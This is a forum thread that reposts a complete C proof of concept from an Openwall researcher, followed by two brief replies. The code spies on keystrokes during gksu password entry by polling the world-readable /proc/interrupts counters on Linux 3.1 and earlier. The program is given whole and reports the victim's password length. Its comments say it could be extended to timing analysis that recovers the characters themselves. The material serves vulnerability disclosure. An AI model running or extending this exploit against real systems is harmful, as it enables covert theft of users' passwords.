Nytro Posted November 7, 2011 Report Posted November 7, 2011 A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1/* * A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1. * * The file /proc/interrupts is world readable. It contains information * about how many interrupts were emitted since the system boot. We may loop * on one CPU core while the victim is executed on another, and learn the length * of victim's passord via monitoring emitted interrupts' counters of the keyboard * interrupt. The PoC counts only keystrokes number, but it can be easily extended * to note the delays between the keystrokes and do the statistical analysis to * learn the precise input characters. * * The limitations: * - it works on 2-core CPUs only. * - it works on 1-keyboard systems only. * - it doesn't carefully count the first and last keystrokes (e.g. ENTER after * the password input). * - it doesn't carefully filter keystrokes after ENTER. * * by segoon from Openwall * * run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu * * P.S. The harm of 0444 /proc/interrupts is known for a long time, but I * was told about this specific attack vector by Tavis Ormandy just after similar * PoC spy-sched was published. */#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <sys/types.h>#include <sys/stat.h>#include <unistd.h>#include <fcntl.h>#include <err.h>#include <errno.h>#include <string.h>int i8042_number;int ints[1024], ints_prev[1024], ints_delta[1024];char buffer[1024];int reread_ints(int *interrupts, int int_count, char **names){ int i; int n, c1, c2; char s1[1024], s2[1024]; int interrupts_fd; FILE *interrupts_file; interrupts_fd = open("/proc/interrupts", O_RDONLY); if (interrupts_fd == -1) err(1, "open(\"/proc/interrupts\")"); interrupts_file = fdopen(interrupts_fd, "r"); if (interrupts_file == NULL) err(1, "fdopen"); if (fseek(interrupts_file, 0, SEEK_SET) < 0) err(1, "lseek"); fgets(buffer, sizeof(buffer), interrupts_file); for (i = 0; i < int_count; i++) { if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) { fclose(interrupts_file); return i; } if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) { fclose(interrupts_file); return i; } if (names != NULL && names[i] == NULL) names[i] = strdup(s2); interrupts[i] = c1 + c2; } fclose(interrupts_file); return int_count;}void init_i8042_number(void){ int i; int can_be_keyboard[1024]; char *names[1024]; int number_of_interrups, can_be_keyboard_numbers; number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names); /* * Identify the i8042 interrupt associated with the keyboard by: * 1) name should be i8042 * 2) interrupts count emitted in one second shouldn't be more than 100 */ for (i = 0; i < number_of_interrups; i++) can_be_keyboard[i] = strcmp(names[i], "i8042") == 0; while (1) { sleep(1); reread_ints(ints, sizeof(ints), NULL); can_be_keyboard_numbers = 0; for (i = 0; i < number_of_interrups; i++) { can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100; if (can_be_keyboard[i]) can_be_keyboard_numbers++; ints_prev[i] = ints[i]; } if (can_be_keyboard_numbers == 1) { for (i = 0; i < number_of_interrups; i++) if (can_be_keyboard[i]) { i8042_number = i; printf("i8042 keyboard is #%d\n", i); return; } } }}int i8042_read(void){ reread_ints(ints, sizeof(ints), NULL); ints_prev[i8042_number] = ints[i8042_number]; return ints[i8042_number];}int wait_for_program(char *pname){ FILE *f; int pid; char s[1024]; snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;" " sleep 0.1; done", pname); system(s); snprintf(s, sizeof(s), "pgrep %s", pname); f = popen(s, "r"); if (f == NULL) err(1, "popen"); if (fgets(buffer, sizeof(buffer), f) == NULL) err(1, "fgets"); if (sscanf(buffer, "%d", &pid) < 1) err(1, "sscanf"); pclose(f); return pid;}int main(int argc, char *argv[]){ int n, old, sum, i; int pid; char *pname = argv[1]; if (argc < 2) errx(1, "usage: spy-interrupts gksu"); puts("Waiting for mouse activity..."); init_i8042_number(); pid = wait_for_program(pname); printf("%s is %d\n", pname, pid); old = i8042_read(); sum = 0; while (1) { n = i8042_read(); if (old == n) usleep(10000); else { for (i = 0; i < n-old; i++) putchar('.'); fflush(stdout); } sum += n - old; old = n; if (kill(pid, 0) < 0 && errno == ESRCH) break; } /* * #interrupts == 2 * #keystrokes. * #keystrokes = len(password) - 1 because of ENTER after the password. */ printf("\n%d keystrokes\n", (sum-2)/2); return 0;}Sursa: /proc/interrupts PoC: spy-interrupts Quote
UnixDevel Posted November 8, 2011 Report Posted November 8, 2011 dude cand faci si tu share la bookmarkurile tale ca prea gasesti tot felul de chestii interesante ... daca ai timp odata fa si tu o lista cu siteurile pe care le citesti zilnic ...thanks Quote
Nytro Posted November 8, 2011 Author Report Posted November 8, 2011 Unul singur e de ajuns:http://twitter.com/#!/poyovl/followingAm adaugat la Follow numai persoane din "domeniu". Pune-i pe toti la Follow. Quote